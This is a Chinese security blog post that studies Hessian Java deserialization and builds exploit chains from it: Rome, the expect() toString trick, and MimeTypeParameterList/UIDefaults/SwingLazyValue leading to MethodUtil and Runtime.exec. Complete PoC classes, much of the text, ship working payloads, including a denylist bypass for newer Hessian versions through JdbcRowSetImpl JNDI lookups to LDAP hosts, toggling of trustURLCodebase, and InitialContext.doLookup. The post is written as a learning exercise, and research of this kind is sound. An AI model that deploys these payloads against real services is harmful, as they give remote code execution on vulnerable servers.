本文最后更新于:7 个月前
                  
                
              
            
            
              
                
                
基础使用
序列化
1 2 3 4 5 6 7 8
   | public static String ser(Object object) throws Exception{     ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();     Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);          hessian2Output.writeObject(object);     hessian2Output.flushBuffer();     return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
 
  | 
 
反序列化
1 2 3 4 5
   | public static Object unser(String string) throws Exception{     ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));     Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);     return hessian2Input.readObject(); }
 
  | 
 
漏洞浅析
普通类反序列化流程
同之前fastjson相似的,在分析hessian反序列化的过程中,就需要创建一个普通的对象去跟踪分析一下反序列化流程,直到找到入口点
hessian反序列化的过程中并
创建一个普通类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
   | package com.vivo.internet.moonbox.common.api;
  public class Person {          public String name;     public transient int age;	     private float weight;     public Person(String name,int age,float weight){         this.name = name;         this.age = age;         this.weight = weight;     }
      public String getName() {         return name;     }
      public int getAge() {         return age;     }
      public float getWeight() {         return weight;     }
      @Override     public String toString() {         return "Person{" +                 "name='" + name + '\'' +                 ", age=" + age +                 ", weight=" + weight +                 '}';     } }
 
  | 
 
然后进行一波测试
1 2 3
   | String s = ser(new Person("potato",20,70)); Person person = (Person) unser(s); System.out.println(person);
 
  | 
 
得到结果:

打上断点查看,原因在于Hessian在序列化数据的时候还是会检查是否实现Serializable接口

但是在Hessian中,序列化的这个规则很容易被打破,在上图第372行代码中存在一个变量_isAllowNonSerializable,在hessian中可以由下面的语句设置为true
1
   | hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
 
  | 
 

再次运行程序
观察到返回结果为下图,transient属性不会被反序列化
所以说,这个Serializable接口实现的限制只存在于序列化,并不存在于反序列化,Hessian的反序列化理论上支持反序列化任何对象~

然后就跟进看看一整个反序列化的流程
跟进readObject(),这里的buffer是待反序列化字节流,然后取标识位,用于判断是什么类型的对象

这里我们反序列化的是自定义的Person类,所以走到了C,

走进readObjectDefinition(),
当步过readString()后,发现type被赋值为Person的类名了,中间的过程简单跟进一下看看即可

此处再走过len,代表参数的个数(非transient)

根据类获取反序列化器

一路步入,在这里有一处loadSerializedClass(),跟进

跟进load()

跟进isAllow(),感觉像是做过滤的

_allowList是在initAllow()赋值的

而_staticAllowList是在下面的静态代码块定义的,是加了白名单

但是这里的_allowList是null?

在initAllow()打上断点重新调试,发现从未走到这里,所以说这个isAllow()并没啥影响(高版本还真是在这里过滤Runtime的)
然后继续一路步过
来到判断type是否为基础类型,数组等的位置

后面的步骤都比较简单理解起来没什么难度(实际上是太懒了
就不写了
贴个调用栈有兴趣的可以自己调试调试
1 2 3 4 5 6 7 8 9 10 11 12
   | getFieldMap:318, UnsafeDeserializer (com.caucho.hessian.io) <init>:80, UnsafeDeserializer (com.caucho.hessian.io) getDefaultDeserializer:528, SerializerFactory (com.caucho.hessian.io) loadDeserializer:481, SerializerFactory (com.caucho.hessian.io) getDeserializer:403, SerializerFactory (com.caucho.hessian.io) getDeserializer:717, SerializerFactory (com.caucho.hessian.io) getObjectDeserializer:618, SerializerFactory (com.caucho.hessian.io) getObjectDeserializer:594, SerializerFactory (com.caucho.hessian.io) readObjectDefinition:2193, Hessian2Input (com.caucho.hessian.io) readObject:2130, Hessian2Input (com.caucho.hessian.io) unser:65, Test (com.vivo.internet.moonbox.common.api) main:49, Test (com.vivo.internet.moonbox.common.api)
 
  | 
 
deserializer最后经过了一堆的判断之后,来到了获取默认反序列化器

最后调用到的是UnsafeDeserializer

在UnsafeDeserializer的静态代码块中能看到我们熟悉的Unsafe对象的获取

它的构造函数中,有这样一个fetFieldMap,根据Person的类,来获取对应的field

跟进去简单看一下,看到了对transient和static属性的处理,直接跳过不处理,这也是为什么前面观察到age属性无法被反序列化
获取到的field会被存入一个人hashmap

和原生反序列化类似的,Hessian也做了对readResolve()方法的处理

其实现则非常简单,循环遍历一遍所有的method名,判断是否有readResolve的

然后一路跟回来,过程中碰到的一些缓存啥的也可以看看
等回到readObjectDefinition()后,这里的reader就变成了UnsafeDeserializer

走到这一部分,再次通过readString()方法来获取field的名字,然后丢进fields和fieldNames数组中

往下走,把前面的那些重要的内容封装起来,没啥好说的


然后add到_classDefs类定义中

然后就结束了readObjectDefinition()的过程,如其名,获取对象的各种定义

继续跟进readObject(),
然后走到这里,跟进去

一路走到底,上面实际上就是从def中获取各种的属性啊反序列化器啊等等
跟进去

实际上就是开始通过unsafe来开始反序列化了,走不进去了就)


走过这一步,obj已经是一个空的Person对象了

再跟进这个readObject(),理论上来说,走进去之后就要开始给对象赋值了

没什么特别好说的,经过这样两步完成了赋值,然后就结束了反序列化的过程~

漏洞点
这么跟了一遍下来,是通过unsafe来进行赋值操作的,似乎并没有像之前原生反序列化或者fastjson那样有readObject()或者getter/setter方法来触发
那漏洞点在哪里呢?
答案就在于Hessian对于Map的反序列化过程中,会将反序列化过后的键值对put进map中
hashCode()
创建一个HashMap对象跟进调试调试
进到readObject()之后,对于tag的判断来到了’H’,也就是HashMap,跟进readMap()看看

继续跟进下面的readMap()

然后就来到了比较重要的一部分了,这里判断type如果为空,那么默认是给map赋值一个HashMap,
如果是Map类型的,则当做HashMap来反序列化,如果是SortedMap类型的则当做TreeMap来进行反序列化

然后就开始将键值对分别反序列化后存入map了

然后我们知道,当对hashMap调用put()方法的时候,为了检测key值唯一性,会先调用hash(key),进而调用key.hashCode(),因此我们就可以在hashMap的kay处做文章,构造利用链,hashCode()为入口点


equals()
在putVal()中,还会调用到key的equals()方法

compareTo()/compare()
而对于TreeMap,为了检验key值
之前没咋用过,,所以一开始出了点小问题,问题不大
改一个自定义的Comparable
1 2 3 4 5 6 7 8 9 10
   | TreeMap<Object,Object> treeMap = new TreeMap<>(); treeMap.put(new Comparable() {     @Override     public int compareTo(Object o) {         return 0;     } }, null);
  String treeMapStr = ser(treeMap); unser(treeMapStr);
 
  | 
 
readObject()的第一步来到了’M’,经过readType()获取具体的Map类型之后,调用readMap()

然后走MapDeserializer的readMap()

再就是和上面HashMap的类似了

区别较大的是TreeMap的put()方法,跟进第一个compare()方法

会发现对k1调用了compareTo(),如果comparator(反射可赋值)不为null,还能调用comparator的compare()方法

自然就来到了我们的demo中的compareTo()了

gadget
Rome
马上学习了一下并紧接着这篇博客发布了关于yso中rome的反序列化:link
实际上一整条链子和yso的几乎没什么区别
1 2 3 4 5 6 7 8 9 10 11
   | JdbcRowSetImpl.getDatabaseMetaData() Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() ObjectBean.toString() EqualsBean.beanHashCode() HashMap.hash() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
 
  | 
 
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
   | package com.vivo.internet.moonbox.common.api;
  import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import com.vivo.internet.moonbox.common.api.model.RepeatModel; import com.vivo.internet.moonbox.common.api.serialize.HessianSerializer; import com.vivo.internet.moonbox.common.api.util.SerializerWrapper; import javassist.*; import sun.misc.Unsafe; import sun.reflect.ReflectionFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
  import javax.activation.MimeTypeParameterList; import javax.swing.*; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain; import java.util.*;
  public class Test {
      public static void main(String[] args) throws Exception {
          HashMap<Object,Object> hashMap = new HashMap<>();
          JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);         jdbcRowSet.setDataSourceName("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");
 
          ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);         setField(toStringBean,"_obj",jdbcRowSet);         setField(toStringBean,"_beanClass", JdbcRowSetImpl.class);
          EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);         setField(equalsBean,"_obj",toStringBean);
          hashMap.put(1,1);         setHashMapKey(hashMap,1,equalsBean);
          String s = ser(hashMap);
          unser(s);
      }
      public static Object unser(String string) throws Exception{         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));         Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);         Object obj = hessian2Input.readObject();         return obj;     }
      public static String ser(Object object) throws Exception{         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();         Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);         hessian2Output.getSerializerFactory().setAllowNonSerializable(true);         hessian2Output.writeObject(object);         hessian2Output.flushBuffer();         return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());     }
      public static  void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{         Field tableField = HashMap.class.getDeclaredField("table");         tableField.setAccessible(true);         Object[] table = (Object[]) tableField.get(hashMap);         for (Object entry: table){                          if (entry!= null){                 Field keyField = entry.getClass().getDeclaredField("key");                 keyField.setAccessible(true);                 Object keyValue = keyField.get(entry);                 if (keyValue.equals(oldKey))                     setField(entry,"key",newKey);             }         }     }
      public static byte[] getEvilBytes(String cmd) throws Exception{         ClassPool classPool = ClassPool.getDefault();         CtClass ctClass = classPool.makeClass("evil");         String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";         ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));         CtConstructor constructor = ctClass.makeClassInitializer();         constructor.insertBefore(code);
          return ctClass.toBytecode();     }
 
      public static void setField(Object object,String fieldName,Object value) throws Exception{         Class<?> c = object.getClass();         Field field = c.getDeclaredField(fieldName);         field.setAccessible(true);         field.set(object,value);     }
 
 
      public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{         ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();         Constructor<Object> constructor = Object.class.getDeclaredConstructor();         Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);         constructor1.setAccessible(true);         return (T) constructor1.newInstance();     }
  }
 
  | 
 
有个小问题就是相比于yso的rome链,这里没办法使用TemplatesImpl,一开始没有报错也不清楚问题出在哪
摸索了一番之后猜测原因在于_tfactory属性是transient的,在原生反序列化中通过重写readObject()来给其赋值,但是在hessian中对于transient的属性是没办法反序列化的,并且只能在readResolve()中可能还原
(因为我yso的rome一开始用的是TemplatesImpl的触发点,,加上没有回显报错,导致这里硬控我半个小时,,

二次反序列化
利用java.security.SignedObject下的getObject()方法实现原生反序列化

Resin
导入依赖
1 2 3 4 5
   | <dependency>     <groupId>com.caucho</groupId>     <artifactId>resin</artifactId>     <version>4.0.63</version> </dependency>
 
  | 
 
Hessian2.expect()
在Hissian2Input#expect()方法下,存在这么几点需要注意的
1、Input序列化流的offset在这个过程中自减1
2、offset自减1后,调用readObject()进行反序列化
3、将obj和字符串进行拼接,将调用obj的toString()方法
toString()能够大大延伸利用链

查找一下用法,除了readObject()之外几乎所有read**()方法都有调用

查找用法走到readString()方法,读取一个字节流,经过判断是否为一些基本类型之后,若都不是,则走进default来执行expect()抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | public String readString()   throws IOException {   int tag = read();
    switch (tag) {   case 'N':     return null;   case 'T':     return "true"; ......
    default:     throw expect("string", tag);   } }
 
  | 
 
在上面跟踪反序列化流程的时候,提到过在readObjectDefinition()中获取类类型的时候第一步就会调用readObject()方法来获取对象的type

在readObject()中,当第一个字节为大写’C’,对应ascii为67

前面我们提到,hessian是通过byte每一部分的第一个字符即tag作为标识符来判断后续一部分字节流对应的类型
前面使用hashmap的时候Byte的第一位为72,即’H’,会走到hashmap的反序列化流程
重要的是,这一部分字节流都是我们可控的

来捋一下流程:
假如说序列化的对象是我们前面的恶意hashmap
一个序列化字节流封装到Hessian2Input中,调用readObject(),先读取一次tag,偏移量_offset加一,后面的字节流是一个hashMap恶意对象
我们的sink是expect(),所以就要tag为67
走进readObjectDefinition()后,调用toString(),再调用一次read(),偏移量_offset再加一,由于hashMap不属于上面判断的任何基本类型,所以走到default的expect(),
偏移量_offset减一,刚刚好这时候从偏移开始的字节流对应的是hashmap的序列化数据,然后对这个字节流调用一次readObject(),这时候会反序列化一次恶意hashmap,所以会触发一次poc,

再走到下面的obj和字符串拼接,调用obj的toString(),这时候会再触发一次poc,为什么呢?
实际上对hashMap调用toString()的时候,会调用父类AbstractMap的toString(),再调用其中的append(),再直到调用key的hashCode(),就不展开细说了
贴个调用栈
1 2 3 4 5 6 7 8
   | hashCode:176, EqualsBean (com.sun.syndication.feed.impl) toString:236, Object (java.lang) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) toString:534, AbstractMap (java.util) valueOf:2994, String (java.lang) println:821, PrintStream (java.io) main:53, Main (org.example)
 
  | 
 
因为toString()的调用,让我们的攻击链不局限于hashmap和treemap,入口点从hashCode()变成了toString()
Hessian-jdk原生链
Runtime
入口点在javax.activation.MimeTypeParameterList的toString(),调用了parameters的get方法,而这里的parameters方法是一个HashTable

找HashTable的子类,发现只有UIDefaults有get()方法,并在其中调用了getFromHashtable(),传入key可控

在getFromHashtable()中,value从hashtable中通过key获取,LazyVlue是一个接口,若value是LazyValue的子类,调用value的createValue()方法


依次找一找LazyValue实现类的createValue()
在LazyPainter下的createValue()中有类加载和类实例化,前面讲到CC链的时候提到TrAXFilter的构造器下调用了Templates的newTransformer()方法实现攻击
但是定睛一看,1332行指定了构造器的参数,和我们想要的的TrAXFilter完全不同,走不通,继续看看

来到SwingLazyValue的createValue()方法,一切都豁然开朗了起来
但是还没完,这里的invoke只能调用任意静态方法,不过下面的任意实例化对象倒是给我们利用TrAXFilter提供了一个可能的的攻击手段

构造函数:

回顾一下利用流程:
1 2 3 4
   | javax.activation.MimeTypeParameterList.toString() 	javax.swing.UIDefaults.get(Object) 		javax.swing.UIDefaults.getFromHashtable(Object) 			SwingLazyValue.createValue(UIDefaults)
 
  | 
 
初步构造一下试试:
结果报错了
1 2 3 4 5 6 7
   | Object[] arg = new Object[]{getTemplates()}; MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",null,arg); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults); System.out.println(mimeTypeParameterList);
 
  | 
 
但是是能走到createValue()中的,当步过获取构造函数的一行的时候抛出异常

观察className等均没问题,感觉问题是出在getClassArray()的返回值,跟进去看看,最后通过getClass()来获取TemplatesImpl的class的

但是我们去看看TrAXFilter的构造函数,参数是接口Templates而并非TemplatesImpl,所以在getConstructor()的时候会出错

目前所学暂时拿他没招,,看看静态方法调用吧
MethodUtil.invoke()可以调用任意对象的方法

使用方法如下
1
   | MethodUtil.invoke(Runtime.class.getDeclaredMethod("exec", String.class),Runtime.getRuntime(),new Object[]{"calc"});
 
  | 
 
但是如果在SwingLazyValue()构造函数中传
很容易发现,Runtime.getRuntime()在进入SwingLazyValue.createValue()之后会获取其类Runtime.class
1
   | SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{Runtime.class.getDeclaredMethod("exec", String[].class),Runtime.getRuntime(),new Object[]{"calc"}});
 
  | 
 
但是MethodUtil.invoke()的第二个参数是Object而不是Runtime,因此Method会获取失败

所以这里要做一个简单的变通,二次调用MethodUtil.invoke(),因为MethodUtil.invoke()是静态方法,所以二次调用中第二个参数可以是任意的值
为了符合SwingLazyValue.createValue()中获取Method的type,我们让它是Object对象
1 2 3
   | Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class); MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});
 
  | 
 
正向构造一下poc并用println()触发toString():
1 2 3 4 5 6 7 8 9 10
   |         Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);         Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
 
          MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);         UIDefaults defaults = new UIDefaults();         SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});         defaults.put("666",swingLazyValue);         setField(mimeTypeParameterList,"parameters",defaults);         System.out.println(mimeTypeParameterList);
 
  | 
 
成功触发计算器弹窗,接下来回到最上面提到的第一个字节67,这里直接用write()对OutputStream进行修改写入

最终poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
   | package org.example;
  import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import javassist.*;
  import sun.reflect.ReflectionFactory; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
  import javax.activation.MimeTypeParameterList; import javax.swing.*;
  import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
  import java.util.*;
  public class Main {
      public static void main(String[] args) throws Exception {
          Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);         Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
 
          MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);         UIDefaults defaults = new UIDefaults();         SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});         defaults.put("666",swingLazyValue);         setField(mimeTypeParameterList,"parameters",defaults);
 
          String s = ser(mimeTypeParameterList);         System.out.println(s);         unser(s);
      }
 
      public static Object unser(String string) throws Exception{         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));         Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);         Object obj = hessian2Input.readObject();         return obj;     }
      public static String ser(Object object) throws Exception{         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();         Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);         hessian2Output.getSerializerFactory().setAllowNonSerializable(true);         byteArrayOutputStream.write(67);         hessian2Output.writeObject(object);         hessian2Output.flushBuffer();         return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());     }     
 
      public static byte[] getEvilBytes(String cmd) throws Exception{         ClassPool classPool = ClassPool.getDefault();         CtClass ctClass = classPool.makeClass("evil");         String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";         ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));         CtConstructor constructor = ctClass.makeClassInitializer();         constructor.insertBefore(code);
          return ctClass.toBytecode();     }
 
      public static void setField(Object object,String fieldName,Object value) throws Exception{         Class<?> c = object.getClass();         Field field = c.getDeclaredField(fieldName);         field.setAccessible(true);         field.set(object,value);     }
 
 
      public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{         ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();         Constructor<Object> constructor = Object.class.getDeclaredConstructor();         Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);         constructor1.setAccessible(true);         return (T) constructor1.newInstance();     }
  }
 
  | 
 
但是在实际测试的时候,当我切换了一下jdk版本,用之前的payload反序列化,却出现下面几种问题:

或者没弹窗但是终端输出还是一样的,调试看看是哪里出问题了

8u382生成payload,8u381和8u65反序列化:
跟进到最后,却发现原本参数是String的exec(),却走到了参数是数组String[]的???但是我们传入的参数又是字符串,所以出错

来到上一帧看看Method的真面目,却又没什么问题,尝试学习为什么会导致这样,排除过jsk位数、jdk版本等各种影响,没得到一个比较好的总结,有知道的师傅欢迎来交流

针对性地,写下来String[]参数的exec的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
   |         Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);         Method execMethod = Runtime.class.getDeclaredMethod("exec", String[].class);
 
          MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);         UIDefaults defaults = new UIDefaults();         SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{new String[]{"calc"}}}});         defaults.put("666",swingLazyValue);         setField(mimeTypeParameterList,"parameters",defaults);
 
          String s = ser(mimeTypeParameterList);         System.out.println(s);
 
  | 
 
然后用u65再试的时候,又来到了exec(String),,,
真是玄学了啊

hessian高版本绕过
引入依赖hissian>=4.0.60
1 2 3 4 5
   | <dependency>     <groupId>com.caucho</groupId>     <artifactId>hessian</artifactId>     <version>4.0.60</version> </dependency>
 
  | 
 
还记得前文提到的isAllow()吗
它回来辣!
和之前有比较大的变化,之前这个函数直接几乎没用,但是这次加入了一个对denyList的黑名单判断

黑名单赋值在静态代码块中,直接禁了Runtime

这时候想到JdbcRowSetImpl.getDatabaseMetaData()导致的jndi注入,并未在黑名单中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   |         Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
          Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");
 
          Field field = BaseRowSet.class.getDeclaredField("dataSource");         field.setAccessible(true);         JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);         field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
                            MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);         UIDefaults defaults = new UIDefaults();         SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});         defaults.put("666",swingLazyValue);         setField(mimeTypeParameterList,"parameters",defaults);
 
          String s = ser(mimeTypeParameterList);         unser(s);
 
  | 
 
在jdk低版本,hessian高版本成功弹窗
JNDI绕过jdk高版本trustURLCodebase限制
在前面讲jndi注入的时候,在最后留下了一个方法,利用System.setProperty()方法来修改系统变量,乍一看System好像在前面Hessian高版本的黑名单中,但是实际上序列化的并不是System对象,而是setProperty()方法的Method对象,所以在Hessian高版本依旧行得通
回到上面,观察下面的代码,很容易看出对UIDefaults进行键值对的遍历
因此能够在触发payload的value之前,put一个调用setProperty()方法的value

但是突然想到一个问题
调用setProperty()之后,第一个键值对完成了他的使命,java程序抛出了异常
所以程序无法继续执行下去,代码蛮写一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   |         Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
          Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");         Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);
          MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class);         SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});
 
 
 
          Field field = BaseRowSet.class.getDeclaredField("dataSource");         field.setAccessible(true);         JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);         field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
 
          MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);         UIDefaults defaults = new UIDefaults();         SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
          defaults.put("777",swingLazyValue0);         defaults.put("1",swingLazyValue);
          setField(mimeTypeParameterList,"parameters",defaults);
 
 
          String s = ser(mimeTypeParameterList);         unser(s);
 
  | 
 
若用try结构也能触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
   |         Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
          Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");         Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);
          MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class);         UIDefaults defaults0 = new UIDefaults();         SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});
 
 
 
          Field field = BaseRowSet.class.getDeclaredField("dataSource");         field.setAccessible(true);         JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);         field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
 
          MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);         UIDefaults defaults = new UIDefaults();         SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
          defaults0.put("777",swingLazyValue0);         defaults.put("1",swingLazyValue);
          setField(mimeTypeParameterList0,"parameters",defaults0);         setField(mimeTypeParameterList,"parameters",defaults);
 
 
          try {             String s0 = ser(mimeTypeParameterList0);             System.out.println(s0);             unser(s0);         }finally {             String s = ser(mimeTypeParameterList);             System.out.println(s);             unser(s);         }
 
  | 
 
PKCS9Attributes
1 2 3 4 5 6 7 8
   | PKCS9Attributes#toString->    PKCS9Attributes#getAttribute->      UIDefaults#get->         UIDefaults#getFromHashTable->            UIDefaults$LazyValue#createValue->                 SwingLazyValue#createValue->                    InitialContext#doLookup()
 
 
  | 
 
InitialContext.doLookup()
除了上面的MethodUtils之外,InitialContext.doLookup()也是可利用的静态方法,能直接进行jndi注入

1 2 3 4 5 6 7 8 9 10
   | MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults();
  SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new Object[]{"ldap://192.168.43.143:50389/56a5ff"});
  defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults);
  String s = ser(mimeTypeParameterList); System.out.println(s);
 
  | 
 
com.sun.org.apache.bcel.internal.util.JavaWrapper._main()

跟进runMain()
